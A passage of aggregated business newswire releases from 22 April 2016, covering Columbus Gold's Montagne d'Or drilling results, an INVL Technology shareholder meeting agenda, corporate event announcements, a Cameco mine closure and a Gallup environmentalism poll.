UFZ ------------------------------------------------------ including 46.1 57.9 10.77 11.7 8.3 ----------------------------------------------------------------------------

Complete results of the last 27 drill holes of the program, drill plan and a cross-section are available at the following links. The drill plan displays intersections of the 2015-2016 program with a metal factor (g/t gold x true width) greater than or equal to 25.

www.columbusgold.com/i/nr/2016-04-22-results.pdf

www.columbusgold.com/i/nr/2016-04-22-drillplan.pdf

www.columbusgold.com/i/nr/2016-04-22-xsection.pdf

The 2015-2016 infill drilling program was designed to upgrade a portion of the Indicated resources to the Measured category with a 50-meter by 25-meter drill array over a strike extent of 550 meters and to a maximum vertical depth of 125 meters, within the anticipated starter pit (west section). The program was successful in confirming the excellent continuity to the gold mineralized zones and the higher grades within the west section of the deposit.

Montagne d'Or Gold Deposit

The Montagne d'Or deposit consists of closely-spaced sub-parallel east-west-striking and steeply south-dipping gold-sulfide mineralized horizons. The deposit is presently drill-defined over a strike extent of 2,300 meters and to an average depth of 250 meters from surface. The mineralized zones remain open on strike to the west and at depth. Utilizing a cut-off grade of 0.4 g/t gold, the deposit(i) hosts Indicated mineral resources of 83.2 million tonnes grading 1.45 g/t gold (3.9 million ounces) and Inferred mineral resource of 22.4 million tonnes grading 1.55 g/t gold (1.1 million ounces) (refer to News Release dated April 21, 2015).

A Preliminary Economic Assessment ("PEA")(ii) for the Montagne d'Or deposit was completed by SRK Consulting (U.S.) Inc. in July 2015 (refer to News Release dated August 4, 2015). The PEA indicated positive results including an after-tax Net Present Value (5%) of US$451 million, an after-tax Internal Rate of Return of 23%, and approximately 273,000 ounces of gold produced per year in the first 10 years of production at an All-In Sustaining Capital Cost per ounce of US$711 and mined head grade of 2.0 g/t gold.

A Bankable Feasibility Study ("BFS") was a lunched in October, 2015, contracted to a Lycopodium-SRK consortium. The BFS is anticipated to be completed by the end of 2016 and is being funded by Nord Gold N.V. (LSE: NORD LI) as part of a minimum US$30 million exploration and development program pursuant to which they can earn a 50.01% interest (for a total of 55.01%) interest in Montagne d'Or.

Qualified Person, Technical Info and QA/QC

Diamond drill holes were bored with HQ-size core in the upper oxidized saprolitic zone and NQ-size core in fresh rock. The core was placed in heavy PVC plastic core boxes with covers and transported by Columbus personnel to camp Citron logging facilities, located 5 km from Montagne d'Or. Columbus personnel are present on site at all times during the drilling program.

The core was photographed for reference and logged by Columbus geologists who also identified the sampling intervals. Samples were collected by sawing the core in half; sample lengths vary between 0.5 and 1.5 meters. Individual half-core samples were sealed in heavy duty cellophane plastic bags and placed by batch of 9 samples in sealed polypropylene bags for air transport to Cayenne and subsequent trucking to Filab Amsud laboratory in Paramaribo, Suriname, an ISO 9001 and ISO / IEC 17025 accredited laboratory. The remaining half-core is stored in sturdy core racks on site at camp Citron for reference. Samples were assayed for gold by the fire-assay method using an atomic absorption finish on a 50-gram pulp split and ICP-MS multi-element analysis, including copper.

RC holes were bored with a 5 1/8 inch diameter hammer. The bulk samples were split at the drill pad by Columbus personnel under the supervision of a Columbus geologist. RC sample lengths are 1 meter and sample weights are between 2.5 and 5 kg. Samples were placed in sturdy, pre-numbered cloth bags that were placed by batch of 6 samples in sealed polypropylene bags for air transport to Cayenne and subsequent trucking to the same laboratory used for analyzing core samples. Duplicate samples were systematically collected for each sampled meter; the duplicate samples are securely stored at camp Citron.

A quality assurance and quality control program (QA/QC) was implemented by Columbus and Filab Amsud to ensure the accuracy and reproducibility of the analytical method and results. The QA/QC program includes the insertion of gold and copper standards, blanks and field duplicates in each laboratory assay batch and systematic re-assaying of samples returning values above 5 g/t Au by the fire-assay method using a gravimetric finish on a 50-gram pulp split. As well, 10% of random sample pulps are sent to SGS del Peru S.A.C. laboratory for gold and copper check assays.

The drilling program was conducted under the supervision of Rock Lefrancois, Chief Operating Officer for Columbus and Qualified Person under National Instrument 43-101, who has reviewed this news release and is responsible for the technical information reported herein, including verification of the data disclosed.

(i) Mineral resources that are not mineral reserves do not have demonstrated economic viability.

(ii) The PEA is preliminary in nature, it includes inferred mineral resources that are considered too speculative geologically to have the economic considerations applied to them that would enable them to be categorized as mineral reserves. The PEA estimates economic results using a US$1,200/oz gold price, and an NPV 8%. Initial Capital Cost are estimated at US$366 million for a 13 year mine life. For the first 11 years, the annual recovered gold production is approximately 265,000 oz/year. The NPV 8% changes by approximately US$1.1 million per dollar change in gold price; and makes taxation assumptions on the French tax code.

ON BEHALF OF THE BOARD,

Robert F. Giustra, Chairman & CEO

This release contains forward-looking information and statements, as defined by law including without limitation Canadian securities laws and the "safe harbor" provisions of the US Private Securities Litigation Reform Act of 1995 ("forward-looking statements"), respecting Columbus: the expected completion date of a feasibility study; the estimation of mineral resources; the realization of mineral resource estimates; the realization of the expected economics of the Montagne d'Or depositPaul Isnard project; and general exploration plans. Forward-looking statements involve risks, uncertainties and other factors that may cause actual results to be materially different from those expressed or implied by the forward-looking statements, including: the actual results of current and future exploration activities; changes in project parameters and/or economic assessments as plans continue to be refined; future prices of metals; possible variations of mineral grade or rates of recovery; ability to acquire necessary permits and other authorizations; environmental compliance; cost increases; availability of qualified workers and drill equipment; competition for mining properties; risks associated with exploration projects including, without limitation, the accuracy of interpretations; mineral reserve and resource estimates (including the risk of assumption and methodology errors and ability to complete a new resource estimate by the proposed target date or at all); the ability to meet proposed schedules for the completion of metallurgical tests; the ability to complete the feasibility study by the stated deadline or at all; dependence on third parties for services; non-performance by contractual counterparties; title risks; risks associated with Nord Gold N.V. electing not to exercise its option and make the related option payments and the ability to complete the feasibility study by the stated deadline or at all; and general business and economic conditions. Forward-looking statements are based on a number of assumptions that may prove to be incorrect, including without limitation assumptions about the following: that the that the assumptions contained in Columbus' Preliminary Economic Assessment are accurate and complete; that the mineral resource update is positive; that the results of the Feasibility Study will be positive; general business and economic conditions; the timing and receipt of required approvals and permits; availability of financing; power prices; ability to procure equipment and supplies including, without limitation, drill rigs; and ongoing relations with employees, partners, optionees and joint venturers. The foregoing list is not exhaustive and Columbus undertakes no obligation to update any of the foregoing except as required by law.

Contacts:

Columbus Gold Corp.

Investor Relations

(604) 634-0970

Toll Free: 1 888 818-1364

(604) 634-0971 (FAX)

info@columbusgold.com

www.columbusgold.com




Vilnius, Lithuania, 2016-04-22 15:04 CEST (GLOBE NEWSWIRE) -- Corrections were made in the attachments of the notification: articles No 154.1 and 161 - in Draft Articles of Association of special closed-ended type private capital investment company INVL Technology, articles No 21.8 and 28 - in Draft Management Agreement. New draft documents attached.We hereby inform you that the agenda of the ordinary general meeting of shareholders of AB INVL Technology (legal entity code: 300893533, address of the registered office: Gyneju g. 16, Vilnius, Republic of Lithuania, hereinafter, the Company) scheduled for 29 April 2016, 8.30 a.m. was supplemented by the proposal of the Company's shareholder AB "Invalda INVL" (legal entity code: 121304349, address of the registered office: Gyneju g. 14, Vilnius, Republic of Lithuania) and the decision of the Management Board of the Company.Agenda of the ordinary general meeting of shareholders (including its supplemented issues):1. Presentation of the public joint-stock company INVL Technology annual report.2. Presentation of the independent auditor's report on the financial statements of the public joint-stock company INVL Technology.3. On the approval of the company's financial statements for 2015 of the public joint-stock company INVL Technology.4. Regarding the distribution of the public joint-stock company INVL Technology profit for 2015.5. Approval of a new wording of the Articles of Association of special closed-ended type private capital investment company INVL Technology.6. Approval of a new wording of the Management Agreement of special closed-ended type private capital investment company INVL Technology with the management company UAB INVL Asset Management (legal entity code: 126263073, address of the registered office: Gyneju g. 14, Vilnius, Republic of Lithuania).Draft resolutions of the Company's general meeting of shareholders:1. Presentation of the public joint-stock company INVL Technology annual report.Shareholders of the public joint-stock company INVL Technology are presented with the annual report of INVL Technology (There is no voting on this issue of agenda).2. Presentation of the independent auditor's report on the financial statements of the public joint-stock company INVL Technology.Shareholders of the public joint-stock company INVL Technology are presented with the independent auditor's report on the financial statements of INVL Technology (There is no voting on this issue of agenda).3. On the approval of the company's financial statements for 2015 of the public joint-stock company INVL Technology.To approve the Company's financial statements for 2015 of the public joint-stock company INVL Technology.4. Regarding the distribution of the public joint-stock company INVL Technology profit for 2015.To distribute the profit of the public joint-stock company INVL Technology as follows:Line item (EUR thousand) -------------------------------------------------------------------------------- Retained earnings (loss) at the beginning of the reporting period 6,846 -------------------------------------------------------------------------------- Impact of merger and transfers to reserves (6,893) -------------------------------------------------------------------------------- Retained earnings (loss) after impact of merger and transfers to (47) reserves -------------------------------------------------------------------------------- Net profit (loss) for the reporting period 2,514 -------------------------------------------------------------------------------- Profit (loss) not recognized in the income statement of the - reporting period -------------------------------------------------------------------------------- Shareholders contributions to cover loss - -------------------------------------------------------------------------------- Distributable profit (loss) at the end of the reporting period 2,467 -------------------------------------------------------------------------------- Transfers from reserves - -------------------------------------------------------------------------------- Distributable profit (loss) in total 2,467 -------------------------------------------------------------------------------- Profit distribution: -------------------------------------------------------------------------------- - transfers to the legal reserves (177) -------------------------------------------------------------------------------- - to the reserves for acquisition of treasury shares (own shares) - -------------------------------------------------------------------------------- - to other reserves - -------------------------------------------------------------------------------- - dividends - -------------------------------------------------------------------------------- - annual payments for the Board, bonus and for other purposes - -------------------------------------------------------------------------------- Retained earnings (loss) at the end of the reporting period 2,290 --------------------------------------------------------------------------------5. Approval of a new wording of the Articles of Association of special closed-ended type private capital investment company INVL Technology.To change the Articles of Association of special closed-ended type private capital investment company INVL Technology that was approved by the decision of the extraordinary general shareholders of the public joint-stock company INVL Technology meeting held on 7 March 2016 and to approve a new wording of the Articles of Association of special closed-ended type private capital investment company INVL Technology prepared by the Management Board of the public joint-stock company INVL Technology, by replacing the text of the Articles of Association in full (enclosed).To authorise (with the power to delegate) Kazimieras Tonkunas, Director of the public joint-stock company INVL Technology to sign the Articles of Association of special closed-ended type private capital investment company INVL Technology.6. Approval of a new wording of the Management Agreement of special closed-ended type private capital investment company INVL Technology with the management company UAB INVL Asset Management (legal entity code: 126263073, address of the registered office: Gyneju g. 14, Vilnius, Republic of Lithuania).To change the Management Agreement of special closed-ended type private capital investment company INVL Technology with the management company UAB INVL Asset Management (legal entity code: 126263073, address of the registered office: Gyneju g. 14, Vilnius, Republic of Lithuania) that was approved by the decision of the extraordinary general shareholders of the public joint-stock company INVL Technology meeting held on 7 March 2016 and to approve a new wording of the Management Agreement of special closed-ended type private capital investment company INVL Technology with the management company UAB INVL Asset Management, prepared by the Management Board of the public joint-stock company INVL Technology, by replacing the text of the Management Agreement in full (enclosed).The general meeting of shareholders will be held in the premises of UAB INVL Asset Management at Gyneju g. 14, Vilnius. Registration of the shareholders will start at 8:00 a.m.Only the persons who are the shareholders of the Company at the end of the accounting day of the general meeting of shareholders are entitled to participate and to vote at the general meeting of shareholders. The accounting day of the meeting is 22 April 2016.The Company provided the information, which according to legal acts must be provided when notifying of the convocation of the meeting, on 7 April 2016 by publishing the notification on material event.Draft Articles of Association of special closed-ended type private capital investment company INVL Technology and Draft Management Agreement of special closed-ended type private capital investment company INVL Technology with the management company UAB INVL Asset Management, as well as updated ballot paper, additionally including the draft decisions on the supplemented issues of the agenda, are attached thereof.The person authorized to provide additional information: Kazimieras Tonkunas Director E-mail: k.tonkunas@invltechnology.ltAttachment:https://cns.omxgroup.com/cds/DisclosureAttachmentServlet?messageAttachmentId=557718
ZURICH, April 22, 2016 /PRNewswire/ --

Celebratingwomenmakingadifference ShareYourHero

UBS today launched WOMEN: Heroes, a digital campaign celebrating women making an impact in their communities. The campaign complements the 10-city international tour of 'WOMEN: New Portraits', an exhibition of newly commissioned photographs by renowned photographer Annie Leibovitz, featuring women of outstanding achievement.

Exhibition visitors and audiences globally are invited to share the stories of inspiring women in their own lives. Participants submit their captioned photos via Instagram using ShareYourHero or directly to the digital gallery at http://www.ubs.com/shareyourhero for a chance to win a trip for two to the New York opening of 'WOMEN: New Portraits' in November 2016.

Johan Jervoe, Chief Marketing Officer, UBS said: "There has been so much interest in the exhibition tour we wanted to invite audiences globally to celebrate female role models and to explore their own creativity. Collectively this could create a fascinating composite portrait."

The campaign is launched ahead of the opening of 'WOMEN: New Portraits' in Singapore on 29 April 2016. Access to the exhibition is free. To find out more visit the exhibition website http://www.ubs.com/annieleibovitz .

Join the conversation:

ShareYourHero WOMENxUBS

https://instagram.com/ubsglobalart/

http://www.twitter.com @UBSglobalart

http://www.facebook.com/UBSart



Notes to editors:

UBS and Contemporary Art

UBS, a global financial services firm, has a long and substantial record of engagement in contemporary art, and actively enables clients and audiences to participate in the international conversation about art through its contemporary art and digital platforms. UBS provides long-term global support to the premier international Art Basel shows in Basel, Miami Beach and Hong Kong, for which the firm serves as global Lead Partner, as well as to the Guggenheim UBS MAP global partnership with the Solomon R. Guggenheim Museum and Foundation. In 2014 UBS launched Planet Art, the first and only app to aggregate global news exclusively about contemporary art, providing clients and the public with a simple tool to navigate the growing and often fragmented landscape of art information. In 2015 Planet Art won the Red Dot for Communications Design.

Guggenheim UBS MAP Global Art Initiative: Under the Same Sun, South London Gallery, London, opening June 2016.

Art Basel in Basel, Lead Partner UBS, June 16 - 19, 2016

Art Basel Miami Beach, Lead Partner UBS, December 1 - 4, 2016

http://www.ubs.com
BOSTON, MA -- (Marketwired) -- 04/22/16 -- NewCo Boston and the Massachusetts Technology Leadership Council (MassTLC) are hosting the city's first Festival of Innovation on April 27 at businesses throughout the Greater Boston region. With hundreds of entrepreneurs, investors, government officials, educators and students planning to interact with more than 80 participating organizations, Boston joins over 16 global urban centers such as San Francisco, Portland, Austin, Barcelona, Istanbul, London and Mexico City to host NewCo festivals.

A small sample of the dozens of industries, topics and people featured during NewCo Boston includes:

Food and Beverage

The Best Bees Company and the business of the apiarist

Freight Farms modern food production and technology

Mystic Brewery Founder Bryan Greenhagen on innovation in craft brewing

Health and Health Tech

CrowdComfort human sensor network

Emulate "organ-on-chip" technology that mimics human biology

Emotion Mining changing business through the science of emotions

Robotics, Augmented Reality and High Tech

Artaic adapting the ancient mosaic art form with 21st Century robotic technology

PTC CEO Jim Heppelmann discussing augmented reality in the modern enterprise

Resilient Coders Founder and Executive Director David Delmar talking about reaching underserved communities through the art and science of coding

For anyone interested in topics as wide-ranging as technology, food and beverage, real estate, design, education, health and science, robotics, Internet of Things, fitness, energy and sustainability, or social change, NewCo Boston is opening doors to introduce the region to the world's best innovators.

"Boston and the Bay State have much to be proud of when it comes to world-changing innovation, but too often we're so hard at work creating and inventing that we forget to tell our stories," MassTLC President and CEO Tom Hopcroft said. "NewCo is your chance to meet the people and see the innovations that are making a difference right here in the city."

NewCo Boston attendees will select which companies they visit in their "native habitat," and hear first-hand from the founders and executives about how and why they are working to change the world. Prior to the event, participants can visit the NewCo Boston website to customize their own event schedules from "tracks" curated by industry, neighborhood and session topic. Space is limited and sessions are filling up quickly.

MassTLC-NewCo Boston Festival of Innovation

April 27, 2016, 8:30am - 8:30pm

The Greater Boston Area

Click to Register/Purchase Tickets

Follow the hashtag NewCoBOS

The MassTLC-NewCo Boston Festival of Innovation is made possible by the generous participation of Platinum Sponsors: Comcast Business, Oxfam America, PTC and Twitter; Gold Sponsors: Amazon Robotics, BlackDuck Software, Consulate General of Canada, Mondo Strategies, Perkins Coie; Silver Sponsors: Kyruus and Applause; Food Sponsor ezCater; After Party Sponsor Coresite; Media Sponsor WGBH; Newspaper Sponsor METRO Boston; Marketing Partners Breakaway Marketing and Pixart Printing; and Transportation Partner Uber.

About The Mass Technology Leadership Council, Inc.

With 500+ member companies, the Mass Technology Leadership Council (MassTLC) is the region's leading technology association and the premier network for tech executives, entrepreneurs, investors and policy leaders. MassTLC's purpose is to accelerate innovation by connecting people from across the technology landscape, providing access to industry-leading content and ideas and offering a platform for visibility for member companies and their interests. More at www.masstlc.org

For more information, contact:

Carro Halpin

CHEN PR for MassTLC

781-672-3132

Email Contact




SUNNYVALE, CA -- (Marketwired) -- 04/22/16 -- Today, DigitalGlobe, Inc. (NYSE: DGI), the global leader in earth imagery and information about our changing planet, will host "Drop in the Bucket" -- an Earth Day celebration designed to engage Bay Area students and expand their understanding of environmental concerns brought about by growth and climate change in the San Francisco Bay area.

A DigitalGlobe expert and Congressman Mike Honda, the U.S. Representative for California's 17th congressional district, will show students at Peterson Middle School exclusive high-resolution satellite images of significant environmental damage brought about by overdevelopment, population growth and climate change. They will also view images that highlight the progress over time of projects to mitigate degradation to natural resources and habitats. The goal of this Earth Day event is to engage students in becoming good stewards of the environment, and inspire them to take action to protect the land. Students will also learn from images of restoration projects that are helping to reverse those losses.

Seeing what others cannot see -- a perspective delivered by high-resolution images of Earth over time -- can mean the difference between an uninformed decision and the right decision. By chronicling the Earth from space, DigitalGlobe provides a unique vantage point, transparency and context about our changing planet. As event sponsor, DigitalGlobe will give students a bucket as a reminder that by taking steps to minimize water use they can save the equivalent of one bucket of water a day.

In 2009, Congressman Mike Honda (D-Silicon Valley, Calif.) reintroduced and championed the Global Warming Education Act, an educational program within the National Science Foundation to broaden American's understanding of human-induced global warming, its consequences and potential solutions.

Congressman Honda is also a longtime supporter of the Santa Clara Unified School District. "Today's event is a prime example of how industry, government and education can join hands to champion a cause that affects every Californian," he said. "Changes in our environment, and over an extended period, have never been quite as easy to spot or as compelling as made possible by high-resolution imagery from satellites. It's easy to speak of cumulative environmental damage, but something else to see it with the help of high-resolution satellite images that can inspire students -- and all citizens -- to become catalysts for change."

Dr. Stanley Rose III, superintendent of the Santa Clara Unified School District said, "The reduction of the State's water table, the increasing temperatures that have -- among many other things -- affected the learning environment for children, and the erosion of our Pacific shores, all exemplify why it is so critical that we all treat the human effect on climate with the highest urgency. As we speak, districts across the State are changing science curriculum to account for a long overdue emphasis on environmental science. This event brings into sharp resolution an issue that no one can afford to disregard any longer. We thank Congressman Honda and DigitalGlobe for making this important effort part of Earth Day for Santa Clara Unified Students and our larger community."

Students contrast and compare "living color" views of the Bay Area

To provide students with visual evidence of change, DigitalGlobe experts will present images taken at different points in time of marshes and wetland that document damage as well as positive effects of restoration projects underway. DigitalGlobe's WorldView-3 satellite is the first commercial satellite to incorporate 16 high-resolution spectral bands that capture information in the visible and near-infrared and the short-wave infrared regions of the electromagnetic spectrum. DigitalGlobe's 70-petabyte time-lapse image library contains images dating back to 1999.

The satellite images powerfully depict changes in ecosystems throughout the state, including four in the Bay Area:

Before and after images of Knight Island wetlands in 2011 and 2015

Dumbarton Wetland Restoration project

Lake Shasta in 2011 and 2015

Lake McClure in 2010 and 2015

Peterson Middle School, Sunnyvale, Calif. in 2016





Beyond the Bay Area, DigitalGlobe satellites are actively monitoring environmental changes throughout the world, driving awareness among citizens, communities and governments.

"Because our planet is constantly changing, there is a great need for accurate, current, visual evidence to support critical business and social decisions," said Taner Kodanaz, Global Sustainability Director for DigitalGlobe. "The most valuable insights require seeing what others can't see. DigitalGlobe combines our unique vantage point and our industry-leading technology with the highest resolution imagery available to inform strategies to manage natural resources with confidence. We need to empower our children to take action with events like this that demonstrate the changes that are occurring in their backyard and around the globe."

About the Event

Venue: Peterson Middle School, 1380 Rosalia Ave., Sunnyvale, CA 94087

Day and Time: Friday, April 22, 2016, 10-11 a.m. PT

Activities: Presentation of satellite images and what they show; discussion with students; comments by Congressman Mike Honda, closing with a "Selfie from Space" of students, faculty and staff

Additional Resources

Link to satellite images: https://digitalglobe.box.com/s/yxbrfknlg0sqs51pw70qekippdujj0bi

Transcript of Global Warming Education Act: https://www.govtrack.us/congress/bills/113/hr4461/text

Profile of Peterson Middle School: http://pms-scusd-ca.schoolloop.com

Follow DigitalGlobe on Twitter at @DigitalGlobe or like on Facebook





About DigitalGlobe

DigitalGlobe is a leading provider of commercial high-resolution earth observation and advanced geospatial solutions that help decision makers better understand our changing planet in order to save lives, resources and time. Sourced from the world's leading constellation, our imagery solutions deliver unmatched coverage and capacity to meet our customers' most demanding requirements. Each day customers in defense and intelligence, public safety, civil agencies, map making and analysis, environmental monitoring, oil and gas exploration, infrastructure management, navigation technology, and providers of location-based services depend on DigitalGlobe data, information, technology and expertise to gain actionable insight.

About Santa Clara Unified School District

Santa Clara Unified School District serves over 15,300 TK-12 students, in addition to students in Preschool through Adult School. Neighborhoods in the Cities of Santa Clara, Sunnyvale, San Jose, and Cupertino comprise the District's 56 square-mile area. Santa Clara Unified prides itself on having teachers, classified employees and administrators who are dedicated, experienced professionals who care about each student's well-being and academic preparation.

Editorial Contacts



Turner Brinton

303.684.4545

turner.brinton@digitalglobe.com



James Cameron

Mobile: (650) 279-4691

digitalglobe@10fold.com




MONTREAL, QUEBEC -- (Marketwired) -- 04/22/16 -- Relevium Technologies Inc. (TSX VENTURE: RLV)(FRANKFURT: 6BX) (the "Company" or "Relevium") is pleased to announce it has received approval from the TSX Venture Exchange (the "Exchange") regarding the cancellation of 8,612,500 previously issued shares relating to the acquisition of the assets of BIOflex Medical Magnetics, Inc. (the "Qualifying Transaction") leaving the Company with a total of 29,525,966 common shares outstanding.

Leena Lakdawala, CEO of Relevium stated: "Management has been working diligently to create value for our shareholders. We have just returned over 8.5 million shares to the Company's treasury, reducing the outstanding shares to fewer than 30 million and effectively cutting the cost of the BIOflex acquisition down by 50%. Relevium has recently executed an Exclusive Supply Agreement for our patented magnetic technology with Back-A-Line Inc., a California-based leader in back pain solutions, and the Company remains actively engaged in identifying additional assets within the growing global health and wellness market."

Pursuant to Relevium's news release dated February 29, 2016, the Company, BIOflex and iTech Medical, Inc. have agreed to adjust the purchase price under the Purchase Agreement (the "Purchase Price Adjustment"). As part of, and in satisfaction of, the Purchase Price Adjustment: (i) BIOflex shall return a total of 8,612,500 common shares in the capital of the Company which it currently owns to the Company for cancellation; (ii) the Company shall issue 1,722,500 common share purchase warrants to BIOflex (which shall be restricted and legended pursuant to applicable Canadian and U.S. securities laws), with each warrant being exercisable to acquire one common share in the capital of the Company, at a price of $0.1125 per share (being the same issue price as the securities transacted pursuant the Qualifying Transaction and representing a premium to the current market price of the Company's common shares on the TSX Venture Exchange), for a period of three years from the date of issuance of the warrants; and (iii) the Company shall release the right of first refusal in respect of the muscle pattern recognition (MPR) technology of iTech Medical, Inc.

In addition, and as part of the discussions relating to the Purchase Price Adjustment, the Company has determined to settle the $225,000 loan owing from iTech Medical, Inc., as well as any accrued interest thereon. Other than as regards the Purchase Price Adjustment, terms and conditions and the duties and obligations of the parties pursuant to the Purchase Agreement continue in full force and effect.

About Relevium Technologies Inc.

Relevium is a TSXV listed company focused on growth through the acquisition of businesses, products and/or technologies within the scope of the expanding health and wellness sector, specifically under three important verticals: Pain Relief, Recovery and Performance. Relevium currently holds patented intellectual property for application of static magnetic fields on direct-to-consumer devices, which aid in decreasing pain, improving recovery time and enhancing overall physical performance.

On Behalf of the Board of Directors

RELEVIUM TECHNOLOGIES INC.

Leena Lakdawala, CEO and Director

NEITHER THE TSX VENTURE EXCHANGE NOR ITS REGULATION SERVICES PROVIDER (AS THAT TERM IS DEFINED IN THE POLICIES OF THE TSX VENTURE EXCHANGE) ACCEPTS RESPONSIBILITY FOR THE ADEQUACY OR ACCURACY OF THIS RELEASE.

CAUTIONARY STATEMENT REGARDING FORWARD-LOOKING INFORMATION: This news release includes certain "forward-looking statements" under applicable Canadian securities legislation. Forward-looking statements include, but are not limited to, statements with respect to the business and operations of the Company. Forward-looking statements are necessarily based upon a number of estimates and assumptions that, while considered reasonable, are subject to known and unknown risks, uncertainties, and other factors which may cause the actual results and future events to differ materially from those expressed or implied by such forward-looking statements. Such factors include, but are not limited to: general business, economic, competitive, political and social uncertainties; delay or failure to receive board, shareholder or regulatory approvals; and the ability of the Company to execute and achieve its business objectives. There can be no assurance that such statements will prove to be accurate, as actual results and future events could differ materially from those anticipated in such statements. Accordingly, readers should not place undue reliance on forward-looking statements. There can be no assurance that the conditions to the transactions contemplated by the potential letter of intents will be satisfied or that those transactions will be completed. The Company disclaims any intention or obligation to update or revise any forward-looking statements, whether as a result of new information, future events or otherwise, except as required by law.

Contacts:

Relevium Technologies Inc.

Edward Ierfino

Investor Relations Manager

(514) 562-1374

investors@releviumcorp.com

www.releviumcorp.com




AMSTERDAM, April 22, 2016 /PRNewswire/ --

With a population of more than 90 million, Vietnam is one of the most promising consumer markets in Asia, benefitting from favourable demographics, rapid urbanisation and increasing disposable incomes. As a result, the Vietnamese F&B market has grown at a rapid pace, and consumers have started to prefer the convenience of packaged food and products, which take less time to prepare and eat.

(Logo: http://photos.prnewswire.com/prnh/20130723/629764-a )



Euromonitor predicts retail sales in the packaged food market in Vietnam to reach over US$12 billion in 2019, growing 30.7% from 2014. High growth products in the forecast include ice cream, chilled and frozen processed food; ready meals; baby food; meal replacements; dairy; canned/preserved food and pasta. The world's biggest brewer, Anheuser Busch InBev, said Vietnam is the "next turning point" for growth in Southeast Asia, when it opened its first brewery in the country last year. According to the Viet Nam Beer, Alcohol and Beverage Association the F&B sectors have enormous potential for development with a stable annual growth rate of 7-8%.

"Food ingredients (Fi) Vietnam is unique. It is the only event dedicated solely to food ingredients in emerging Cambodia-Laos-Myanmar-Vietnam (CLMV) countries," noted UBM Asia (Thailand) Business Director, Rungphech (Rose) Chitanuwat. "Moreover, Fi Vietnam 2016 is so much more than just a trade show, offering conferences, seminars and in-depth Insight especially in the beverage sector and unmatched networking opportunities with food professionals in industry, government and academia, from not just around the region, but also around the world - the right ingredients for your success. Come to meet your new business partners and customers. You can see, touch, taste and experience the newest food ingredients, look at the latest trends, and the most recent innovations driving food science and product development."

With an expected 4,500+ visitors, and more than 150 exhibitors from Vietnam, France, Germany, Poland, Italy, Thailand, India, Japan, Taiwan, China, Malaysia and Korea, Fi Vietnam 2016 gives you even more opportunities to do business. Chitanuwat noted that "this growth could not have been achieved without the ongoing support of our trusted partners, including the Vietnam Association of Food Science and Technology (VAFoST), Cambodia Association of Food Science and Technology (CAFST), Food and Foodstuff Association of Ho Chi Minh City (FFA) and Vietnam Beer, Alcohol and beverage Association (VBA)."

UBM is excited to again support the prestigious annual VAFoST Young Achievers' Safe Food Competition, with the support of the Saigon Technology University. "UBM is always looking to the future of the industry. We aim to support students and encourage them to become the next generation of food scientists," Chitanuwat added. "This year, the competition theme is 'Greener food products for the ASEAN consumers'. Undergraduate students from universities and colleges with Food Technology programmes in Vietnam and Cambodia are required to create innovative packaged food products (new formulations, new product formats, new packaging etc.) from domestic material resources that are stable at room temperature. UBM has supported students by providing funds to the 20 teams, to develop their competition entries. Also, we support space to showcase their development at Fi Vietnam 2016."

Now is the time to begin making plans to join us for Fi Vietnam 2016, on 18-20 May at the Saigon Exhibition and Convention Centre. Add us to your calendar, and get ready to discover the industry's best products and newest solutions to improve your business. You can register online at http://fi-vietnam.net/PR to receive your free three-day entrance pass, a free show catalogue and free entrance to all onsite features. You will also find a full list of confirmed exhibitors, conference and seminar programmes, and so on.

About The Organiser

Owned by UBM plc listed on the London Stock Exchange, UBM Asia is Asia's leading exhibition organiser and the biggest commercial organiser in mainland China, India and Malaysia. Established with its headquarters in Hong Kong and subsidiary companies across Asia and in the US, UBM Asia has a strong global network of 32 offices and 1,300 staff in 24 major cities. We operate in 19 market sectors with 230 exhibitions and conferences, 28 trade publications, 18 online products for over 2,000,000 quality exhibitors, visitors, conference delegates, advertisers and subscribers from all over the world.
EASTPHARMA LTD. London, 22 April 2016 - EastPharma (EAST LI), today announces that the Annual General Meeting is to be held at 10.00 am on 17 May 2016 at Clarendon House, 2 Church Street, Hamilton HM11, Bermuda. The formal notice of the Meeting and agenda for the Meeting are provided below and audited financial statements of the Company for the year ended 31 December 2015 is available for viewing on the company's website www.eastpharma.com. EastPharma Ltd - a company active in the manufacturing and marketing of pharmaceutical products in Turkey and in other regional markets; for further information please visit www.eastpharma.com. Eastpharma Ltd - 2016 AGM Notice: http://hugin.info/138031/R/2006036/741133.pdf This announcement is distributed by GlobeNewswire on behalf of GlobeNewswire clients. The owner of this announcement warrants that: (i) the releases contained herein are protected by copyright and other applicable laws; and (ii) they are solely responsible for the content, accuracy and originality of the information contained therein. Source: EastPharma Ltd via GlobeNewswire [HUG#2006036] B1ZBJ18R12 Copyright RTT News/dpa-AFX

Werbehinweise: Die Billigung des Basisprospekts durch die BaFin ist nicht als ihre Befurwortung der angebotenen Wertpapiere zu verstehen. Wir empfehlen Interessenten und potenziellen Anlegern den Basisprospekt und die Endgultigen Bedingungen zu lesen, bevor sie eine Anlageentscheidung treffen, um sich moglichst umfassend zu informieren, insbesondere uber die potenziellen Risiken und Chancen des Wertpapiers. Sie sind im Begriff, ein Produkt zu erwerben, das nicht einfach ist und schwer zu verstehen sein kann.
OTTAWA (dpa-AFX) - Weak uranium prices have forced Cameco Corp. to shut down its Rabbit Lake operation in Saskatchewan, resulting in 585 job cuts. The company also said it will scale down production at Cameco Resource's U.S. operations, costing 85 jobs. According to Cameco Rabbit Lake mine is the second largest uranium mill in the world and the longest running mine in North America Uranium is at its worst position for the last one decade. Since the start of the year, Uranium market has been bearish and touched its lowest price in April. Uranium prices plunged in last five years to $26 from $72. A supply glut tanked the market. There has been a sharp decline in installation of new nuclear power stations, since the Fukushima disaster in Japan. The last nuclear power station in U.S was launched two decades ago. Copyright RTT News/dpa-AFX

Werbehinweise: Die Billigung des Basisprospekts durch die BaFin ist nicht als ihre Befurwortung der angebotenen Wertpapiere zu verstehen. Wir empfehlen Interessenten und potenziellen Anlegern den Basisprospekt und die Endgultigen Bedingungen zu lesen, bevor sie eine Anlageentscheidung treffen, um sich moglichst umfassend zu informieren, insbesondere uber die potenziellen Risiken und Chancen des Wertpapiers. Sie sind im Begriff, ein Produkt zu erwerben, das nicht einfach ist und schwer zu verstehen sein kann.


WASHINGTON (dpa-AFX) - Even as the world celebrates Earth Day, the results of a Gallup poll showed a continued decrease in the number of Americans that identify as environmentalists.



The poll found that 42 percent of Americans identify as environmentalists, down from 47 percent in 2000 and 63 percent in 1995.



The current number is well below the high of 78 percent seen in 1991 and an average of 76 percent in the late 1980s and early 1990s.



Gallup noted that the decline is partly due to the politicization of the environment, especially in terms of the debate over climate change and how to address it.



